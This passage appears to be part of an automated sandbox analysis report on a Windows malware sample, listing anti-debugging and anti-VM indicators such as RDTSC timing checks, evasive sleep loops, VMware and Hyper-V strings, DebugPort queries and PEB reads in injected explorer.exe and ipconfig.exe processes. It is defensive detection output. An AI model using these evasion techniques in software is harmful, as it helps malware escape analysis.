Source: C:\Windows\SysWOW64\ipconfig.exe RDTSC instruction interceptor: First address: 0000000000EA898E second address: 0000000000EA8994 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_004088C0 rdtsc 1_2_004088C0
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\explorer.exe TID: 1536 Thread sleep time: -45000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe TID: 6904 Thread sleep time: -40000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\explorer.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\ipconfig.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\ipconfig.exe Last function: Thread delayed
Source: explorer.exe, 00000005.00000000.359549772.0000000008430000.00000004.00000001.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000005.00000000.359510454.00000000083E9000.00000004.00000001.sdmp Binary or memory string: VMware SATA CD00dRom0
Source: explorer.exe, 00000005.00000000.359944939.000000000868E000.00000004.00000001.sdmp Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.379240198.00000000045BE000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.355349933.00000000062E0000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.354289488.0000000005D50000.00000002.00000001.sdmp Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: explorer.exe, 00000005.00000000.359510454.00000000083E9000.00000004.00000001.sdmp Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000005.00000000.355349933.00000000062E0000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.359378220.00000000082E2000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}>
Source: explorer.exe, 00000005.00000000.354289488.0000000005D50000.00000002.00000001.sdmp Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: explorer.exe, 00000005.00000000.354289488.0000000005D50000.00000002.00000001.sdmp Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: explorer.exe, 00000005.00000000.359378220.00000000082E2000.00000004.00000001.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: explorer.exe, 00000005.00000000.359549772.0000000008430000.00000004.00000001.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000-;
Source: explorer.exe, 00000005.00000000.343561590.000000000095C000.00000004.00000020.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}G
Source: explorer.exe, 00000005.00000000.354289488.0000000005D50000.00000002.00000001.sdmp Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging:

barindex
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_004088C0 rdtsc 1_2_004088C0
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00409B30 LdrLoadDll, 1_2_00409B30
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 0_2_00403DDB LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 0_2_00403DDB
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 0_2_021C06DA mov eax, dword ptr fs:[00000030h] 0_2_021C06DA
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 0_2_021C0A1C mov eax, dword ptr fs:[00000030h] 0_2_021C0A1C
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 0_2_021C09DE mov eax, dword ptr fs:[00000030h] 0_2_021C09DE
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 0_2_021C099F mov eax, dword ptr fs:[00000030h] 0_2_021C099F
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 0_2_021C08EE mov eax, dword ptr fs:[00000030h] 0_2_021C08EE
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A990AF mov eax, dword ptr fs:[00000030h] 1_2_00A990AF
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A820A0 mov eax, dword ptr fs:[00000030h] 1_2_00A820A0
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A820A0 mov eax, dword ptr fs:[00000030h] 1_2_00A820A0
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A820A0 mov eax, dword ptr fs:[00000030h] 1_2_00A820A0
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A820A0 mov eax, dword ptr fs:[00000030h] 1_2_00A820A0
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A820A0 mov eax, dword ptr fs:[00000030h] 1_2_00A820A0
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A820A0 mov eax, dword ptr fs:[00000030h] 1_2_00A820A0
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A8F0BF mov ecx, dword ptr fs:[00000030h] 1_2_00A8F0BF
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A8F0BF mov eax, dword ptr fs:[00000030h] 1_2_00A8F0BF
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A8F0BF mov eax, dword ptr fs:[00000030h] 1_2_00A8F0BF
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A59080 mov eax, dword ptr fs:[00000030h] 1_2_00A59080
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00AD3884 mov eax, dword ptr fs:[00000030h] 1_2_00AD3884
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00AD3884 mov eax, dword ptr fs:[00000030h] 1_2_00AD3884
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A558EC mov eax, dword ptr fs:[00000030h] 1_2_00A558EC
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00AEB8D0 mov eax, dword ptr fs:[00000030h] 1_2_00AEB8D0
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00AEB8D0 mov ecx, dword ptr fs:[00000030h] 1_2_00AEB8D0
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00AEB8D0 mov eax, dword ptr fs:[00000030h] 1_2_00AEB8D0
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00AEB8D0 mov eax, dword ptr fs:[00000030h] 1_2_00AEB8D0
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00AEB8D0 mov eax, dword ptr fs:[00000030h] 1_2_00AEB8D0
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00AEB8D0 mov eax, dword ptr fs:[00000030h] 1_2_00AEB8D0
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A8002D mov eax, dword ptr fs:[00000030h] 1_2_00A8002D
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A8002D mov eax, dword ptr fs:[00000030h] 1_2_00A8002D
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A8002D mov eax, dword ptr fs:[00000030h] 1_2_00A8002D
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A8002D mov eax, dword ptr fs:[00000030h] 1_2_00A8002D
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A8002D mov eax, dword ptr fs:[00000030h] 1_2_00A8002D
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A6B02A mov eax, dword ptr fs:[00000030h] 1_2_00A6B02A
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A6B02A mov eax, dword ptr fs:[00000030h] 1_2_00A6B02A
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A6B02A mov eax, dword ptr fs:[00000030h] 1_2_00A6B02A
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A6B02A mov eax, dword ptr fs:[00000030h] 1_2_00A6B02A
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00B24015 mov eax, dword ptr fs:[00000030h] 1_2_00B24015
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00B24015 mov eax, dword ptr fs:[00000030h] 1_2_00B24015
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00AD7016 mov eax, dword ptr fs:[00000030h] 1_2_00AD7016
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00AD7016 mov eax, dword ptr fs:[00000030h] 1_2_00AD7016
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00AD7016 mov eax, dword ptr fs:[00000030h] 1_2_00AD7016
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00B12073 mov eax, dword ptr fs:[00000030h] 1_2_00B12073
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00B21074 mov eax, dword ptr fs:[00000030h] 1_2_00B21074
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A70050 mov eax, dword ptr fs:[00000030h] 1_2_00A70050
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A70050 mov eax, dword ptr fs:[00000030h] 1_2_00A70050
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A861A0 mov eax, dword ptr fs:[00000030h] 1_2_00A861A0
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A861A0 mov eax, dword ptr fs:[00000030h] 1_2_00A861A0
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00AD69A6 mov eax, dword ptr fs:[00000030h] 1_2_00AD69A6
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00AD51BE mov eax, dword ptr fs:[00000030h] 1_2_00AD51BE
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00AD51BE mov eax, dword ptr fs:[00000030h] 1_2_00AD51BE
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00AD51BE mov eax, dword ptr fs:[00000030h] 1_2_00AD51BE
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00AD51BE mov eax, dword ptr fs:[00000030h] 1_2_00AD51BE
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A7C182 mov eax, dword ptr fs:[00000030h] 1_2_00A7C182
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A8A185 mov eax, dword ptr fs:[00000030h] 1_2_00A8A185
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A82990 mov eax, dword ptr fs:[00000030h] 1_2_00A82990
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A5B1E1 mov eax, dword ptr fs:[00000030h] 1_2_00A5B1E1
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A5B1E1 mov eax, dword ptr fs:[00000030h] 1_2_00A5B1E1
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A5B1E1 mov eax, dword ptr fs:[00000030h] 1_2_00A5B1E1
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00AE41E8 mov eax, dword ptr fs:[00000030h] 1_2_00AE41E8
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A74120 mov eax, dword ptr fs:[00000030h] 1_2_00A74120
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A74120 mov eax, dword ptr fs:[00000030h] 1_2_00A74120
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A74120 mov eax, dword ptr fs:[00000030h] 1_2_00A74120
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A74120 mov eax, dword ptr fs:[00000030h] 1_2_00A74120
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A74120 mov ecx, dword ptr fs:[00000030h] 1_2_00A74120
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A8513A mov eax, dword ptr fs:[00000030h] 1_2_00A8513A
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A8513A mov eax, dword ptr fs:[00000030h] 1_2_00A8513A
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A59100 mov eax, dword ptr fs:[00000030h] 1_2_00A59100
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A59100 mov eax, dword ptr fs:[00000030h] 1_2_00A59100
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A59100 mov eax, dword ptr fs:[00000030h] 1_2_00A59100
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A5C962 mov eax, dword ptr fs:[00000030h] 1_2_00A5C962
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A5B171 mov eax, dword ptr fs:[00000030h] 1_2_00A5B171
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A5B171 mov eax, dword ptr fs:[00000030h] 1_2_00A5B171
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A7B944 mov eax, dword ptr fs:[00000030h] 1_2_00A7B944
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A7B944 mov eax, dword ptr fs:[00000030h] 1_2_00A7B944
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A552A5 mov eax, dword ptr fs:[00000030h] 1_2_00A552A5
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A552A5 mov eax, dword ptr fs:[00000030h] 1_2_00A552A5
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A552A5 mov eax, dword ptr fs:[00000030h] 1_2_00A552A5
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A552A5 mov eax, dword ptr fs:[00000030h] 1_2_00A552A5
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A552A5 mov eax, dword ptr fs:[00000030h] 1_2_00A552A5
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A6AAB0 mov eax, dword ptr fs:[00000030h] 1_2_00A6AAB0
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A6AAB0 mov eax, dword ptr fs:[00000030h] 1_2_00A6AAB0
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A8FAB0 mov eax, dword ptr fs:[00000030h] 1_2_00A8FAB0
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A8D294 mov eax, dword ptr fs:[00000030h] 1_2_00A8D294
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A8D294 mov eax, dword ptr fs:[00000030h] 1_2_00A8D294
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A82AE4 mov eax, dword ptr fs:[00000030h] 1_2_00A82AE4
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A82ACB mov eax, dword ptr fs:[00000030h] 1_2_00A82ACB
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A94A2C mov eax, dword ptr fs:[00000030h] 1_2_00A94A2C
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A94A2C mov eax, dword ptr fs:[00000030h] 1_2_00A94A2C
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A68A0A mov eax, dword ptr fs:[00000030h] 1_2_00A68A0A
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A5AA16 mov eax, dword ptr fs:[00000030h] 1_2_00A5AA16
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A5AA16 mov eax, dword ptr fs:[00000030h] 1_2_00A5AA16
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A55210 mov eax, dword ptr fs:[00000030h] 1_2_00A55210
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A55210 mov ecx, dword ptr fs:[00000030h] 1_2_00A55210
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A55210 mov eax, dword ptr fs:[00000030h] 1_2_00A55210
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A55210 mov eax, dword ptr fs:[00000030h] 1_2_00A55210
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00A73A1C mov eax, dword ptr fs:[00000030h] 1_2_00A73A1C
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03688F6A mov eax, dword ptr fs:[00000030h] 7_2_03688F6A
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035BF358 mov eax, dword ptr fs:[00000030h] 7_2_035BF358
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035BDB40 mov eax, dword ptr fs:[00000030h] 7_2_035BDB40
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035CEF40 mov eax, dword ptr fs:[00000030h] 7_2_035CEF40
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E3B7A mov eax, dword ptr fs:[00000030h] 7_2_035E3B7A
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E3B7A mov eax, dword ptr fs:[00000030h] 7_2_035E3B7A
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03688B58 mov eax, dword ptr fs:[00000030h] 7_2_03688B58
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035BDB60 mov ecx, dword ptr fs:[00000030h] 7_2_035BDB60
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035CFF60 mov eax, dword ptr fs:[00000030h] 7_2_035CFF60
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035DF716 mov eax, dword ptr fs:[00000030h] 7_2_035DF716
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035EA70E mov eax, dword ptr fs:[00000030h] 7_2_035EA70E
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035EA70E mov eax, dword ptr fs:[00000030h] 7_2_035EA70E
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0368070D mov eax, dword ptr fs:[00000030h] 7_2_0368070D
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0368070D mov eax, dword ptr fs:[00000030h] 7_2_0368070D
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035EE730 mov eax, dword ptr fs:[00000030h] 7_2_035EE730
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0364FF10 mov eax, dword ptr fs:[00000030h] 7_2_0364FF10
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0364FF10 mov eax, dword ptr fs:[00000030h] 7_2_0364FF10
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035B4F2E mov eax, dword ptr fs:[00000030h] 7_2_035B4F2E
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035B4F2E mov eax, dword ptr fs:[00000030h] 7_2_035B4F2E
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0367131B mov eax, dword ptr fs:[00000030h] 7_2_0367131B
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_036353CA mov eax, dword ptr fs:[00000030h] 7_2_036353CA
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_036353CA mov eax, dword ptr fs:[00000030h] 7_2_036353CA
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F37F5 mov eax, dword ptr fs:[00000030h] 7_2_035F37F5
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035DDBE9 mov eax, dword ptr fs:[00000030h] 7_2_035DDBE9
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E03E2 mov eax, dword ptr fs:[00000030h] 7_2_035E03E2
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E03E2 mov eax, dword ptr fs:[00000030h] 7_2_035E03E2
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E03E2 mov eax, dword ptr fs:[00000030h] 7_2_035E03E2
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E03E2 mov eax, dword ptr fs:[00000030h] 7_2_035E03E2
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E03E2 mov eax, dword ptr fs:[00000030h] 7_2_035E03E2
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E03E2 mov eax, dword ptr fs:[00000030h] 7_2_035E03E2
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035C8794 mov eax, dword ptr fs:[00000030h] 7_2_035C8794
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E2397 mov eax, dword ptr fs:[00000030h] 7_2_035E2397
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03685BA5 mov eax, dword ptr fs:[00000030h] 7_2_03685BA5
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035EB390 mov eax, dword ptr fs:[00000030h] 7_2_035EB390
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035C1B8F mov eax, dword ptr fs:[00000030h] 7_2_035C1B8F
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035C1B8F mov eax, dword ptr fs:[00000030h] 7_2_035C1B8F
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0366D380 mov ecx, dword ptr fs:[00000030h] 7_2_0366D380
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0367138A mov eax, dword ptr fs:[00000030h] 7_2_0367138A
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E4BAD mov eax, dword ptr fs:[00000030h] 7_2_035E4BAD
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E4BAD mov eax, dword ptr fs:[00000030h] 7_2_035E4BAD
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035E4BAD mov eax, dword ptr fs:[00000030h] 7_2_035E4BAD
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03637794 mov eax, dword ptr fs:[00000030h] 7_2_03637794
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03637794 mov eax, dword ptr fs:[00000030h] 7_2_03637794
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03637794 mov eax, dword ptr fs:[00000030h] 7_2_03637794
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0366B260 mov eax, dword ptr fs:[00000030h] 7_2_0366B260
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0366B260 mov eax, dword ptr fs:[00000030h] 7_2_0366B260
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03688A62 mov eax, dword ptr fs:[00000030h] 7_2_03688A62
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035B9240 mov eax, dword ptr fs:[00000030h] 7_2_035B9240
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035B9240 mov eax, dword ptr fs:[00000030h] 7_2_035B9240
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035B9240 mov eax, dword ptr fs:[00000030h] 7_2_035B9240
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035B9240 mov eax, dword ptr fs:[00000030h] 7_2_035B9240
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035C7E41 mov eax, dword ptr fs:[00000030h] 7_2_035C7E41
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035C7E41 mov eax, dword ptr fs:[00000030h] 7_2_035C7E41
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035C7E41 mov eax, dword ptr fs:[00000030h] 7_2_035C7E41
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035C7E41 mov eax, dword ptr fs:[00000030h] 7_2_035C7E41
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035C7E41 mov eax, dword ptr fs:[00000030h] 7_2_035C7E41
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035C7E41 mov eax, dword ptr fs:[00000030h] 7_2_035C7E41
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035F927A mov eax, dword ptr fs:[00000030h] 7_2_035F927A
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035DAE73 mov eax, dword ptr fs:[00000030h] 7_2_035DAE73
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035DAE73 mov eax, dword ptr fs:[00000030h] 7_2_035DAE73
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035DAE73 mov eax, dword ptr fs:[00000030h] 7_2_035DAE73
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035DAE73 mov eax, dword ptr fs:[00000030h] 7_2_035DAE73
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035DAE73 mov eax, dword ptr fs:[00000030h] 7_2_035DAE73
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035C766D mov eax, dword ptr fs:[00000030h] 7_2_035C766D
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_03644257 mov eax, dword ptr fs:[00000030h] 7_2_03644257
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035D3A1C mov eax, dword ptr fs:[00000030h] 7_2_035D3A1C
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035EA61C mov eax, dword ptr fs:[00000030h] 7_2_035EA61C
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_035EA61C mov eax, dword ptr fs:[00000030h] 7_2_035EA61C
